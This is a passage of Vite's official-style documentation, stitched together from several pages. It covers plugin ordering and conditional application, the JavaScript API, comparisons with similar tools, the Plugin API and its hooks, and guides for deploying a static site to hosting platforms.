invoke plugin after Vite core plugins * `post`: invoke plugin after Vite build plugins js ``` // vite.config.js import image from '@rollup/plugin-image' import { defineConfig } from 'vite' export default defineConfig({ plugins: [ { ...image(), enforce: 'pre', }, ], }) ``` Check out [Plugins API Guide](api-plugin#plugin-ordering) for detailed information, and look out for the `enforce` label and usage instructions for popular plugins in the [Vite Rollup Plugins](https://vite-rollup-plugins.patak.dev) compatibility listing. Conditional Application ----------------------- By default, plugins are invoked for both serve and build. In cases where a plugin needs to be conditionally applied only during serve or build, use the `apply` property to only invoke them during `'build'` or `'serve'`: js ``` // vite.config.js import typescript2 from 'rollup-plugin-typescript2' import { defineConfig } from 'vite' export default defineConfig({ plugins: [ { ...typescript2(), apply: 'build', }, ], }) ``` Building Plugins ---------------- Check out the [Plugins API Guide](api-plugin) for documentation about creating plugins. vite JavaScript API JavaScript API ============== Vite's JavaScript APIs are fully typed, and it's recommended to use TypeScript or enable JS type checking in VS Code to leverage the intellisense and validation. `createServer` --------------- **Type Signature:** ts ``` async function createServer(inlineConfig?: InlineConfig): Promise<ViteDevServer> ``` **Example Usage:** js ``` import { fileURLToPath } from 'url' import { createServer } from 'vite' const __dirname = fileURLToPath(new URL('.', import.meta.url)) ;(async () => { const server = await createServer({ // any valid user config options, plus `mode` and `configFile` configFile: false, root: __dirname, server: { port: 1337, }, }) await server.listen() server.printUrls() })() ``` **NOTE**When using `createServer` and `build` in the same Node.js process, both functions rely on `process.env.``NODE_ENV` to work properly, which also depends on the `mode` config option. To prevent conflicting behavior, set `process.env.``NODE_ENV` or the `mode` of the two APIs to `development`. Otherwise, you can spawn a child process to run the APIs separately. `InlineConfig` --------------- The `InlineConfig` interface extends `UserConfig` with additional properties: * `configFile`: specify config file to use. If not set, Vite will try to automatically resolve one from project root. Set to `false` to disable auto resolving. * `envFile`: Set to `false` to disable `.env` files. `ResolvedConfig` ----------------- The `ResolvedConfig` interface has all the same properties of a `UserConfig`, except most properties are resolved and non-undefined. It also contains utilities like: * `config.assetsInclude`: A function to check if an `id` is considered an asset. * `config.logger`: Vite's internal logger object. `ViteDevServer` ---------------- ts ``` interface ViteDevServer { /** * The resolved Vite config object. */ config: ResolvedConfig /** * A connect app instance * - Can be used to attach custom middlewares to the dev server. * - Can also be used as the handler function of a custom http server * or as a middleware in any connect-style Node.js frameworks. * * https://github.com/senchalabs/connect#use-middleware */ middlewares: Connect.Server /** * Native Node http server instance. * Will be null in middleware mode. */ httpServer: http.Server | null /** * Chokidar watcher instance. * https://github.com/paulmillr/chokidar#api */ watcher: FSWatcher /** * Web socket server with `send(payload)` method. */ ws: WebSocketServer /** * Rollup plugin container that can run plugin hooks on a given file. */ pluginContainer: PluginContainer /** * Module graph that tracks the import relationships, url to file mapping * and hmr state. */ moduleGraph: ModuleGraph /** * The resolved urls Vite prints on the CLI. null in middleware mode or * before `server.listen` is called. */ resolvedUrls: ResolvedServerUrls | null /** * Programmatically resolve, load and transform a URL and get the result * without going through the http request pipeline. */ transformRequest( url: string, options?: TransformOptions, ): Promise<TransformResult | null> /** * Apply Vite built-in HTML transforms and any plugin HTML transforms. */ transformIndexHtml(url: string, html: string): Promise<string> /** * Load a given URL as an instantiated module for SSR. */ ssrLoadModule( url: string, options?: { fixStacktrace?: boolean }, ): Promise<Record<string, any>> /** * Fix ssr error stacktrace. */ ssrFixStacktrace(e: Error): void /** * Triggers HMR for a module in the module graph. You can use the `server.moduleGraph` * API to retrieve the module to be reloaded. If `hmr` is false, this is a no-op. */ reloadModule(module: ModuleNode): Promise<void> /** * Start the server. */ listen(port?: number, isRestart?: boolean): Promise<ViteDevServer> /** * Restart the server. * * @param forceOptimize - force the optimizer to re-bundle, same as --force cli flag */ restart(forceOptimize?: boolean): Promise<void> /** * Stop the server. */ close(): Promise<void> } ``` `build` -------- **Type Signature:** ts ``` async function build( inlineConfig?: InlineConfig, ): Promise<RollupOutput | RollupOutput[]> ``` **Example Usage:** js ``` import path from 'path' import { fileURLToPath } from 'url' import { build } from 'vite' const __dirname = fileURLToPath(new URL('.', import.meta.url)) ;(async () => { await build({ root: path.resolve(__dirname, './project'), base: '/foo/', build: { rollupOptions: { // ... }, }, }) })() ``` `preview` ---------- **Type Signature:** ts ``` async function preview(inlineConfig?: InlineConfig): Promise<PreviewServer> ``` **Example Usage:** js ``` import { preview } from 'vite' ;(async () => { const previewServer = await preview({ // any valid user config options, plus `mode` and `configFile` preview: { port: 8080, open: true, }, }) previewServer.printUrls() })() ``` `resolveConfig` ---------------- **Type Signature:** ts ``` async function resolveConfig( inlineConfig: InlineConfig, command: 'build' | 'serve', defaultMode = 'development', ): Promise<ResolvedConfig> ``` The `command` value is `serve` in dev (in the cli `vite`, `vite dev`, and `vite serve` are aliases). `mergeConfig` -------------- **Type Signature:** ts ``` function mergeConfig( defaults: Record<string, any>, overrides: Record<string, any>, isRoot = true, ): Record<string, any> ``` Deeply merge two Vite configs. `isRoot` represents the level within the Vite config which is being merged. For example, set `false` if you're merging two `build` options. `searchForWorkspaceRoot` ------------------------- **Type Signature:** ts ``` function searchForWorkspaceRoot( current: string, root = searchForPackageRoot(current), ): string ``` **Related:** [server.fs.allow](../config/server-options#server-fs-allow) Search for the root of the potential workspace if it meets the following conditions, otherwise it would fallback to `root`: * contains `workspaces` field in `package.json` * contains one of the following file + `lerna.json` + `pnpm-workspace.yaml` `loadEnv` ---------- **Type Signature:** ts ``` function loadEnv( mode: string, envDir: string, prefixes: string | string[] = 'VITE_', ): Record<string, string> ``` **Related:** [`.env` Files](env-and-mode#env-files) Load `.env` files within the `envDir`. By default, only env variables prefixed with `VITE_` are loaded, unless `prefixes` is changed. `normalizePath` ---------------- **Type Signature:** ts ``` function normalizePath(id: string): string ``` **Related:** [Path Normalization](api-plugin#path-normalization) Normalizes a path to interoperate between Vite plugins. `transformWithEsbuild` ----------------------- **Type Signature:** ts ``` async function transformWithEsbuild( code: string, filename: string, options?: EsbuildTransformOptions, inMap?: object, ): Promise<ESBuildTransformResult> ``` Transform JavaScript or TypeScript with esbuild. Useful for plugins that prefer matching Vite's internal esbuild transform. `loadConfigFromFile` --------------------- **Type Signature:** ts ``` async function loadConfigFromFile( configEnv: ConfigEnv, configFile?: string, configRoot: string = process.cwd(), logLevel?: LogLevel, ): Promise<{ path: string config: UserConfig dependencies: string[] } | null> ``` Load a Vite config file manually with esbuild. vite Comparisons Comparisons =========== WMR --- [WMR](https://github.com/preactjs/wmr) by the Preact team provides a similar feature set, and Vite 2.0's support for Rollup's plugin interface is inspired by it. WMR is mainly designed for [Preact](https://preactjs.com/) projects, and offers more integrated features such as pre-rendering. In terms of scope, it's closer to a Preact meta framework, with the same emphasis on compact size as Preact itself. If you are using Preact, WMR is likely going to offer a more fine-tuned experience. @web/dev-server --------------- [@web/dev-server](https://modern-web.dev/docs/dev-server/overview/) (previously `es-dev-server`) is a great project and Vite 1.0's Koa-based server setup was inspired by it. `@web/dev-server` is a bit lower-level in terms of scope. It does not provide official framework integrations, and requires manually setting up a Rollup configuration for the production build. Overall, Vite is a more opinionated / higher-level tool that aims to provide a more out-of-the-box workflow. That said, the `@web` umbrella project contains many other excellent tools that may benefit Vite users as well. Snowpack -------- [Snowpack](https://www.snowpack.dev/) was also a no-bundle native ESM dev server, very similar in scope to Vite. The project is no longer being maintained. The Snowpack team is now working on [Astro](https://astro.build/), a static site builder powered by Vite. The Astro team is now an active player in the ecosystem, and they are helping to improve Vite. Aside from different implementation details, the two projects shared a lot in terms of technical advantages over traditional tooling. Vite's dependency pre-bundling is also inspired by Snowpack v1 (now [`esinstall`](https://github.com/snowpackjs/snowpack/tree/main/esinstall)). Some of the main differences between the two projects are listed in [the v2 Comparisons Guide](https://v2.vitejs.dev/guide/comparisons).
programming_docs
vite Plugin API Plugin API ========== Vite plugins extends Rollup's well-designed plugin interface with a few extra Vite-specific options. As a result, you can write a Vite plugin once and have it work for both dev and build. **It is recommended to go through [Rollup's plugin documentation](https://rollupjs.org/plugin-development/) first before reading the sections below.** Authoring a Plugin ------------------ Vite strives to offer established patterns out of the box, so before creating a new plugin make sure that you check the [Features guide](features) to see if your need is covered. Also review available community plugins, both in the form of a [compatible Rollup plugin](https://github.com/rollup/awesome) and [Vite Specific plugins](https://github.com/vitejs/awesome-vite#plugins) When creating a plugin, you can inline it in your `vite.config.js`. There is no need to create a new package for it. Once you see that a plugin was useful in your projects, consider sharing it to help others [in the ecosystem](https://chat.vitejs.dev). **TIP**When learning, debugging, or authoring plugins, we suggest including [vite-plugin-inspect](https://github.com/antfu/vite-plugin-inspect) in your project. It allows you to inspect the intermediate state of Vite plugins. After installing, you can visit `localhost:5173/__inspect/` to inspect the modules and transformation stack of your project. Check out install instructions in the [vite-plugin-inspect docs](https://github.com/antfu/vite-plugin-inspect). ![vite-plugin-inspect](https://vitejs.dev/assets/vite-plugin-inspect.0f355583.png) Conventions ----------- If the plugin doesn't use Vite specific hooks and can be implemented as a [Compatible Rollup Plugin](#rollup-plugin-compatibility), then it is recommended to use the [Rollup Plugin naming conventions](https://rollupjs.org/plugin-development/#conventions). * Rollup Plugins should have a clear name with `rollup-plugin-` prefix. * Include `rollup-plugin` and `vite-plugin` keywords in package.json. This exposes the plugin to be also used in pure Rollup or WMR based projects For Vite only plugins * Vite Plugins should have a clear name with `vite-plugin-` prefix. * Include `vite-plugin` keyword in package.json. * Include a section in the plugin docs detailing why it is a Vite only plugin (for example, it uses Vite specific plugin hooks). If your plugin is only going to work for a particular framework, its name should be included as part of the prefix * `vite-plugin-vue-` prefix for Vue Plugins * `vite-plugin-react-` prefix for React Plugins * `vite-plugin-svelte-` prefix for Svelte Plugins See also [Virtual Modules Convention](#virtual-modules-convention). Plugins config -------------- Users will add plugins to the project `devDependencies` and configure them using the `plugins` array option. js ``` // vite.config.js import vitePlugin from 'vite-plugin-feature' import rollupPlugin from 'rollup-plugin-feature' export default defineConfig({ plugins: [vitePlugin(), rollupPlugin()], }) ``` Falsy plugins will be ignored, which can be used to easily activate or deactivate plugins. `plugins` also accepts presets including several plugins as a single element. This is useful for complex features (like framework integration) that are implemented using several plugins. The array will be flattened internally. js ``` // framework-plugin import frameworkRefresh from 'vite-plugin-framework-refresh' import frameworkDevtools from 'vite-plugin-framework-devtools' export default function framework(config) { return [frameworkRefresh(config), frameworkDevTools(config)] } ``` js ``` // vite.config.js import { defineConfig } from 'vite' import framework from 'vite-plugin-framework' export default defineConfig({ plugins: [framework()], }) ``` Simple Examples --------------- **TIP**It is common convention to author a Vite/Rollup plugin as a factory function that returns the actual plugin object. The function can accept options which allows users to customize the behavior of the plugin. ### Transforming Custom File Types js ``` const fileRegex = /\.(my-file-ext)$/ export default function myPlugin() { return { name: 'transform-file', transform(src, id) { if (fileRegex.test(id)) { return { code: compileFileToJS(src), map: null, // provide source map if available } } }, } } ``` ### Importing a Virtual File See the example in the [next section](#virtual-modules-convention). Virtual Modules Convention -------------------------- Virtual modules are a useful scheme that allows you to pass build time information to the source files using normal ESM import syntax. js ``` export default function myPlugin() { const virtualModuleId = 'virtual:my-module' const resolvedVirtualModuleId = '\0' + virtualModuleId return { name: 'my-plugin', // required, will show up in warnings and errors resolveId(id) { if (id === virtualModuleId) { return resolvedVirtualModuleId } }, load(id) { if (id === resolvedVirtualModuleId) { return `export const msg = "from virtual module"` } }, } } ``` Which allows importing the module in JavaScript: js ``` import { msg } from 'virtual:my-module' console.log(msg) ``` Virtual modules in Vite (and Rollup) are prefixed with `virtual:` for the user-facing path by convention. If possible the plugin name should be used as a namespace to avoid collisions with other plugins in the ecosystem. For example, a `vite-plugin-posts` could ask users to import a `virtual:posts` or `virtual:posts/helpers` virtual modules to get build time information. Internally, plugins that use virtual modules should prefix the module ID with `\0` while resolving the id, a convention from the rollup ecosystem. This prevents other plugins from trying to process the id (like node resolution), and core features like sourcemaps can use this info to differentiate between virtual modules and regular files. `\0` is not a permitted char in import URLs so we have to replace them during import analysis. A `\0{id}` virtual id ends up encoded as `/@id/__x00__{id}` during dev in the browser. The id will be decoded back before entering the plugins pipeline, so this is not seen by plugins hooks code. Note that modules directly derived from a real file, as in the case of a script module in a Single File Component (like a .vue or .svelte SFC) don't need to follow this convention. SFCs generally generate a set of submodules when processed but the code in these can be mapped back to the filesystem. Using `\0` for these submodules would prevent sourcemaps from working correctly. Universal Hooks --------------- During dev, the Vite dev server creates a plugin container that invokes [Rollup Build Hooks](https://rollupjs.org/plugin-development/#build-hooks) the same way Rollup does it. The following hooks are called once on server start: * [`options`](https://rollupjs.org/plugin-development/#options) * [`buildStart`](https://rollupjs.org/plugin-development/#buildstart) The following hooks are called on each incoming module request: * [`resolveId`](https://rollupjs.org/plugin-development/#resolveid) * [`load`](https://rollupjs.org/plugin-development/#load) * [`transform`](https://rollupjs.org/plugin-development/#transform) The following hooks are called when the server is closed: * [`buildEnd`](https://rollupjs.org/plugin-development/#buildend) * [`closeBundle`](https://rollupjs.org/plugin-development/#closebundle) Note that the [`moduleParsed`](https://rollupjs.org/plugin-development/#moduleparsed) hook is **not** called during dev, because Vite avoids full AST parses for better performance. [Output Generation Hooks](https://rollupjs.org/plugin-development/#output-generation-hooks) (except `closeBundle`) are **not** called during dev. You can think of Vite's dev server as only calling `rollup.rollup()` without calling `bundle.generate()`. Vite Specific Hooks ------------------- Vite plugins can also provide hooks that serve Vite-specific purposes. These hooks are ignored by Rollup. ### `config` * **Type:** `(config: UserConfig, env: { mode: string, command: string }) => UserConfig | null | void` * **Kind:** `async`, `sequential` Modify Vite config before it's resolved. The hook receives the raw user config (CLI options merged with config file) and the current config env which exposes the `mode` and `command` being used. It can return a partial config object that will be deeply merged into existing config, or directly mutate the config (if the default merging cannot achieve the desired result). **Example:** js ``` // return partial config (recommended) const partialConfigPlugin = () => ({ name: 'return-partial', config: () => ({ resolve: { alias: { foo: 'bar', }, }, }), }) // mutate the config directly (use only when merging doesn't work) const mutateConfigPlugin = () => ({ name: 'mutate-config', config(config, { command }) { if (command === 'build') { config.root = 'foo' } }, }) ``` **Note**User plugins are resolved before running this hook so injecting other plugins inside the `config` hook will have no effect. ### `configResolved` * **Type:** `(config: ResolvedConfig) => void | Promise<void>` * **Kind:** `async`, `parallel` Called after the Vite config is resolved. Use this hook to read and store the final resolved config. It is also useful when the plugin needs to do something different based on the command being run. **Example:** js ``` const examplePlugin = () => { let config return { name: 'read-config', configResolved(resolvedConfig) { // store the resolved config config = resolvedConfig }, // use stored config in other hooks transform(code, id) { if (config.command === 'serve') { // dev: plugin invoked by dev server } else { // build: plugin invoked by Rollup } }, } } ``` Note that the `command` value is `serve` in dev (in the cli `vite`, `vite dev`, and `vite serve` are aliases). ### `configureServer` * **Type:** `(server: ViteDevServer) => (() => void) | void | Promise<(() => void) | void>` * **Kind:** `async`, `sequential` * **See also:** [ViteDevServer](api-javascript#vitedevserver) Hook for configuring the dev server. The most common use case is adding custom middlewares to the internal [connect](https://github.com/senchalabs/connect) app: js ``` const myPlugin = () => ({ name: 'configure-server', configureServer(server) { server.middlewares.use((req, res, next) => { // custom handle request... }) }, }) ``` **Injecting Post Middleware** The `configureServer` hook is called before internal middlewares are installed, so the custom middlewares will run before internal middlewares by default. If you want to inject a middleware **after** internal middlewares, you can return a function from `configureServer`, which will be called after internal middlewares are installed: js ``` const myPlugin = () => ({ name: 'configure-server', configureServer(server) { // return a post hook that is called after internal middlewares are // installed return () => { server.middlewares.use((req, res, next) => { // custom handle request... }) } }, }) ``` **Storing Server Access** In some cases, other plugin hooks may need access to the dev server instance (e.g. accessing the web socket server, the file system watcher, or the module graph). This hook can also be used to store the server instance for access in other hooks: js ``` const myPlugin = () => { let server return { name: 'configure-server', configureServer(_server) { server = _server }, transform(code, id) { if (server) { // use server... } }, } } ``` Note `configureServer` is not called when running the production build so your other hooks need to guard against its absence. ### `configurePreviewServer` * **Type:** `(server: { middlewares: Connect.Server, httpServer: http.Server }) => (() => void) | void | Promise<(() => void) | void>` * **Kind:** `async`, `sequential` Same as [`configureServer`](api-plugin#configureserver) but for the preview server. It provides the [connect](https://github.com/senchalabs/connect) server and its underlying [http server](https://nodejs.org/api/http.html). Similarly to `configureServer`, the `configurePreviewServer` hook is called before other middlewares are installed. If you want to inject a middleware **after** other middlewares, you can return a function from `configurePreviewServer`, which will be called after internal middlewares are installed: js ``` const myPlugin = () => ({ name: 'configure-preview-server', configurePreviewServer(server) { // return a post hook that is called after other middlewares are // installed return () => { server.middlewares.use((req, res, next) => { // custom handle request... }) } }, }) ``` ### `transformIndexHtml` * **Type:** `IndexHtmlTransformHook | { order?: 'pre' | 'post', handler: IndexHtmlTransformHook }` * **Kind:** `async`, `sequential` Dedicated hook for transforming HTML entry point files such as `index.html`. The hook receives the current HTML string and a transform context. The context exposes the [`ViteDevServer`](api-javascript#vitedevserver) instance during dev, and exposes the Rollup output bundle during build. The hook can be async and can return one of the following: + Transformed HTML string + An array of tag descriptor objects (`{ tag, attrs, children }`) to inject to the existing HTML. Each tag can also specify where it should be injected to (default is prepending to `<head>`) + An object containing both as `{ html, tags }`**Basic Example:** js ``` const htmlPlugin = () => { return { name: 'html-transform', transformIndexHtml(html) { return html.replace( /<title>(.*?)<\/title>/, `<title>Title replaced!</title>`, ) }, } } ``` **Full Hook Signature:** ts ``` type IndexHtmlTransformHook = ( html: string, ctx: { path: string filename: string server?: ViteDevServer bundle?: import('rollup').OutputBundle chunk?: import('rollup').OutputChunk }, ) => | IndexHtmlTransformResult | void | Promise<IndexHtmlTransformResult | void> type IndexHtmlTransformResult = | string | HtmlTagDescriptor[] | { html: string tags: HtmlTagDescriptor[] } interface HtmlTagDescriptor { tag: string attrs?: Record<string, string | boolean> children?: string | HtmlTagDescriptor[] /** * default: 'head-prepend' */ injectTo?: 'head' | 'body' | 'head-prepend' | 'body-prepend' } ``` ### `handleHotUpdate` * **Type:** `(ctx: HmrContext) => Array<ModuleNode> | void | Promise<Array<ModuleNode> | void>` Perform custom HMR update handling. The hook receives a context object with the following signature: ts ``` interface HmrContext { file: string timestamp: number modules: Array<ModuleNode> read: () => string | Promise<string> server: ViteDevServer } ``` + `modules` is an array of modules that are affected by the changed file. It's an array because a single file may map to multiple served modules (e.g. Vue SFCs). + `read` is an async read function that returns the content of the file. This is provided because on some systems, the file change callback may fire too fast before the editor finishes updating the file and direct `fs.readFile` will return empty content. The read function passed in normalizes this behavior.The hook can choose to: + Filter and narrow down the affected module list so that the HMR is more accurate. + Return an empty array and perform complete custom HMR handling by sending custom events to the client: js ``` handleHotUpdate({ server }) { server.ws.send({ type: 'custom', event: 'special-update', data: {} }) return [] } ``` Client code should register corresponding handler using the [HMR API](api-hmr) (this could be injected by the same plugin's `transform` hook): js ``` if (import.meta.hot) { import.meta.hot.on('special-update', (data) => { // perform custom update }) } ``` Plugin Ordering --------------- A Vite plugin can additionally specify an `enforce` property (similar to webpack loaders) to adjust its application order. The value of `enforce` can be either `"pre"` or `"post"`. The resolved plugins will be in the following order: * Alias * User plugins with `enforce: 'pre'` * Vite core plugins * User plugins without enforce value * Vite build plugins * User plugins with `enforce: 'post'` * Vite post build plugins (minify, manifest, reporting) Conditional Application ----------------------- By default plugins are invoked for both serve and build. In cases where a plugin needs to be conditionally applied only during serve or build, use the `apply` property to only invoke them during `'build'` or `'serve'`: js ``` function myPlugin() { return { name: 'build-only', apply: 'build', // or 'serve' } } ``` A function can also be used for more precise control: js ``` apply(config, { command }) { // apply only on build but not for SSR return command === 'build' && !config.build.ssr } ``` Rollup Plugin Compatibility --------------------------- A fair number of Rollup plugins will work directly as a Vite plugin (e.g. `@rollup/plugin-alias` or `@rollup/plugin-json`), but not all of them, since some plugin hooks do not make sense in an unbundled dev server context. In general, as long as a Rollup plugin fits the following criteria then it should just work as a Vite plugin: * It doesn't use the [`moduleParsed`](https://rollupjs.org/guide/en/#moduleparsed) hook. * It doesn't have strong coupling between bundle-phase hooks and output-phase hooks. If a Rollup plugin only makes sense for the build phase, then it can be specified under `build.rollupOptions.plugins` instead. It will work the same as a Vite plugin with `enforce: 'post'` and `apply: 'build'`. You can also augment an existing Rollup plugin with Vite-only properties: js ``` // vite.config.js import example from 'rollup-plugin-example' import { defineConfig } from 'vite' export default defineConfig({ plugins: [ { ...example(), enforce: 'post', apply: 'build', }, ], }) ``` Check out [Vite Rollup Plugins](https://vite-rollup-plugins.patak.dev) for a list of compatible official Rollup plugins with usage instructions. Path Normalization ------------------ Vite normalizes paths while resolving ids to use POSIX separators ( / ) while preserving the volume in Windows. On the other hand, Rollup keeps resolved paths untouched by default, so resolved ids have win32 separators ( \ ) in Windows. However, Rollup plugins use a [`normalizePath` utility function](https://github.com/rollup/plugins/tree/master/packages/pluginutils#normalizepath) from `@rollup/pluginutils` internally, which converts separators to POSIX before performing comparisons. This means that when these plugins are used in Vite, the `include` and `exclude` config pattern and other similar paths against resolved ids comparisons work correctly. So, for Vite plugins, when comparing paths against resolved ids it is important to first normalize the paths to use POSIX separators. An equivalent `normalizePath` utility function is exported from the `vite` module. js ``` import { normalizePath } from 'vite' normalizePath('foo\\bar') // 'foo/bar' normalizePath('foo/bar') // 'foo/bar' ``` Filtering, include/exclude pattern ---------------------------------- Vite exposes [`@rollup/pluginutils`'s `createFilter`](https://github.com/rollup/plugins/tree/master/packages/pluginutils#createfilter) function to encourage Vite specific plugins and integrations to use the standard include/exclude filtering pattern, which is also used in Vite core itself. Client-server Communication --------------------------- Since Vite 2.9, we provide some utilities for plugins to help handle the communication with clients. ### Server to Client On the plugin side, we could use `server.ws.send` to broadcast events to all the clients: js ``` // vite.config.js export default defineConfig({ plugins: [ { // ... configureServer(server) { server.ws.send('my:greetings', { msg: 'hello' }) }, }, ], }) ``` **NOTE**We recommend **always prefixing** your event names to avoid collisions with other plugins. On the client side, use [`hot.on`](api-hmr#hot-on-event-cb) to listen to the events: ts ``` // client side if (import.meta.hot) { import.meta.hot.on('my:greetings', (data) => { console.log(data.msg) // hello }) } ``` ### Client to Server To send events from the client to the server, we can use [`hot.send`](api-hmr#hot-send-event-payload): ts ``` // client side if (import.meta.hot) { import.meta.hot.send('my:from-client', { msg: 'Hey!' }) } ``` Then use `server.ws.on` and listen to the events on the server side: js ``` // vite.config.js export default defineConfig({ plugins: [ { // ... configureServer(server) { server.ws.on('my:from-client', (data, client) => { console.log('Message from client:', data.msg) // Hey! // reply only to the client (if needed) client.send('my:ack', { msg: 'Hi! I got your message!' }) }) }, }, ], }) ``` ### TypeScript for Custom Events It is possible to type custom events by extending the `CustomEventMap` interface: ts ``` // events.d.ts import 'vite/types/customEvent' declare module 'vite/types/customEvent' { interface CustomEventMap { 'custom:foo': { msg: string } // 'event-key': payload } } ```
programming_docs
vite Deploying a Static Site Deploying a Static Site ======================= The following guides are based on some shared assumptions: * You are using the default build output location (`dist`). This location [can be changed using `build.outDir`](../config/build-options#build-outdir), and you can extrapolate instructions from these guides in that case. * You are using npm. You can use equivalent commands to run the scripts if you are using Yarn or other package managers. * Vite is installed as a local dev dependency in your project, and you have setup the following npm scripts: json ``` { "scripts": { "build": "vite build", "preview": "vite preview" } } ``` It is important to note that `vite preview` is intended for previewing the build locally and not meant as a production server. **NOTE**These guides provide instructions for performing a static deployment of your Vite site. Vite also supports Server Side Rendering. SSR refers to front-end frameworks that support running the same application in Node.js, pre-rendering it to HTML, and finally hydrating it on the client. Check out the [SSR Guide](ssr) to learn about this feature. On the other hand, if you are looking for integration with traditional server-side frameworks, check out the [Backend Integration guide](backend-integration) instead. Building the App ---------------- You may run `npm run build` command to build the app. bash ``` $ npm run build ``` By default, the build output will be placed at `dist`. You may deploy this `dist` folder to any of your preferred platforms. ### Testing the App Locally Once you've built the app, you may test it locally by running `npm run preview` command. bash ``` $ npm run build $ npm run preview ``` The `vite preview` command will boot up a local static web server that serves the files from `dist` at `http://localhost:4173`. It's an easy way to check if the production build looks OK in your local environment. You may configure the port of the server by passing the `--port` flag as an argument. json ``` { "scripts": { "preview": "vite preview --port 8080" } } ``` Now the `preview` command will launch the server at `http://localhost:8080`. GitHub Pages ------------ 1. Set the correct `base` in `vite.config.js`. If you are deploying to `https://<USERNAME>.github.io/`, you can omit `base` as it defaults to `'/'`. If you are deploying to `https://<USERNAME>.github.io/<REPO>/`, for example your repository is at `https://github.com/<USERNAME>/<REPO>`, then set `base` to `'/<REPO>/'`. 2. Inside your project, create `deploy.sh` with the following content (with highlighted lines uncommented appropriately), and run it to deploy: bash ``` #!/usr/bin/env sh # abort on errors set -e # build npm run build # navigate into the build output directory cd dist # place .nojekyll to bypass Jekyll processing echo > .nojekyll # if you are deploying to a custom domain # echo 'www.example.com' > CNAME git init git checkout -B main git add -A git commit -m 'deploy' # if you are deploying to https://<USERNAME>.github.io # git push -f [email protected]:<USERNAME>/<USERNAME>.github.io.git main # if you are deploying to https://<USERNAME>.github.io/<REPO> # git push -f [email protected]:<USERNAME>/<REPO>.git main:gh-pages cd - ``` **TIP**You can also run the above script in your CI setup to enable automatic deployment on each push. GitLab Pages and GitLab CI -------------------------- 1. Set the correct `base` in `vite.config.js`. If you are deploying to `https://<USERNAME or GROUP>.gitlab.io/`, you can omit `base` as it defaults to `'/'`. If you are deploying to `https://<USERNAME or GROUP>.gitlab.io/<REPO>/`, for example your repository is at `https://gitlab.com/<USERNAME>/<REPO>`, then set `base` to `'/<REPO>/'`. 2. Create a file called `.gitlab-ci.yml` in the root of your project with the content below. This will build and deploy your site whenever you make changes to your content: yaml ``` image: node:16.5.0 pages: stage: deploy cache: key: files: - package-lock.json prefix: npm paths: - node_modules/ script: - npm install - npm run build - cp -a dist/. public/ artifacts: paths: - public rules: - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` Netlify ------- ### Netlify CLI 1. Install the [Netlify CLI](https://cli.netlify.com/). 2. Create a new site using `ntl init`. 3. Deploy using `ntl deploy`. bash ``` # Install the Netlify CLI $ npm install -g netlify-cli # Create a new site in Netlify $ ntl init # Deploy to a unique preview URL $ ntl deploy ``` The Netlify CLI will share with you a preview URL to inspect. When you are ready to go into production, use the `prod` flag: bash ``` # Deploy the site into production $ ntl deploy --prod ``` ### Netlify with Git 1. Push your code to a git repository (GitHub, GitLab, BitBucket, Azure DevOps). 2. [Import the project](https://app.netlify.com/start) to Netlify. 3. Choose the branch, output directory, and set up environment variables if applicable. 4. Click on **Deploy**. 5. Your Vite app is deployed! After your project has been imported and deployed, all subsequent pushes to branches other than the production branch along with pull requests will generate [Preview Deployments](https://docs.netlify.com/site-deploys/deploy-previews/), and all changes made to the Production Branch (commonly “main”) will result in a [Production Deployment](https://docs.netlify.com/site-deploys/overview/#definitions). Vercel ------ ### Vercel CLI 1. Install the [Vercel CLI](https://vercel.com/cli) and run `vercel` to deploy. 2. Vercel will detect that you are using Vite and will enable the correct settings for your deployment. 3. Your application is deployed! (e.g. [vite-vue-template.vercel.app](https://vite-vue-template.vercel.app/)) bash ``` $ npm i -g vercel $ vercel init vite Vercel CLI > Success! Initialized "vite" example in ~/your-folder. - To deploy, `cd vite` and run `vercel`. ``` ### Vercel for Git 1. Push your code to your git repository (GitHub, GitLab, Bitbucket). 2. [Import your Vite project](https://vercel.com/new) into Vercel. 3. Vercel will detect that you are using Vite and will enable the correct settings for your deployment. 4. Your application is deployed! (e.g. [vite-vue-template.vercel.app](https://vite-vue-template.vercel.app/)) After your project has been imported and deployed, all subsequent pushes to branches will generate [Preview Deployments](https://vercel.com/docs/concepts/deployments/environments#preview), and all changes made to the Production Branch (commonly “main”) will result in a [Production Deployment](https://vercel.com/docs/concepts/deployments/environments#production). Learn more about Vercel’s [Git Integration](https://vercel.com/docs/concepts/git). Cloudflare Pages ---------------- ### Cloudflare Pages via Wrangler 1. Install [Wrangler CLI](https://developers.cloudflare.com/workers/wrangler/get-started/). 2. Authenticate Wrangler with your Cloudflare account using `wrangler login`. 3. Run your build command. 4. Deploy using `npx wrangler pages publish dist`. bash ``` # Install Wrangler CLI $ npm install -g wrangler # Login to Cloudflare account from CLI $ wrangler login # Run your build command $ npm run build # Create new deployment $ npx wrangler pages publish dist ``` After your assets are uploaded, Wrangler will give you a preview URL to inspect your site. When you log into the Cloudflare Pages dashboard, you will see your new project. ### Cloudflare Pages with Git 1. Push your code to your git repository (GitHub, GitLab). 2. Log in to the Cloudflare dashboard and select your account in **Account Home** > **Pages**. 3. Select **Create a new Project** and the **Connect Git** option. 4. Select the git project you want to deploy and click **Begin setup** 5. Select the corresponding framework preset in the build setting depending on the Vite framework you have selected. 6. Then save and deploy! 7. Your application is deployed! (e.g `https://<PROJECTNAME>.pages.dev/`) After your project has been imported and deployed, all subsequent pushes to branches will generate [Preview Deployments](https://developers.cloudflare.com/pages/platform/preview-deployments/) unless specified not to in your [branch build controls](https://developers.cloudflare.com/pages/platform/branch-build-controls/). All changes to the Production Branch (commonly “main”) will result in a Production Deployment. You can also add custom domains and handle custom build settings on Pages. Learn more about [Cloudflare Pages Git Integration](https://developers.cloudflare.com/pages/get-started/#manage-your-site). Google Firebase --------------- 1. Make sure you have [firebase-tools](https://www.npmjs.com/package/firebase-tools) installed. 2. Create `firebase.json` and `.firebaserc` at the root of your project with the following content: `firebase.json`: json ``` { "hosting": { "public": "dist", "ignore": [], "rewrites": [ { "source": "**", "destination": "/index.html" } ] } } ``` `.firebaserc`: js ``` { "projects": { "default": "<YOUR_FIREBASE_ID>" } } ``` 3. After running `npm run build`, deploy using the command `firebase deploy`. Surge ----- 1. First install [surge](https://www.npmjs.com/package/surge), if you haven’t already. 2. Run `npm run build`. 3. Deploy to surge by typing `surge dist`. You can also deploy to a [custom domain](http://surge.sh/help/adding-a-custom-domain) by adding `surge dist yourdomain.com`. Azure Static Web Apps --------------------- You can quickly deploy your Vite app with Microsoft Azure [Static Web Apps](https://aka.ms/staticwebapps) 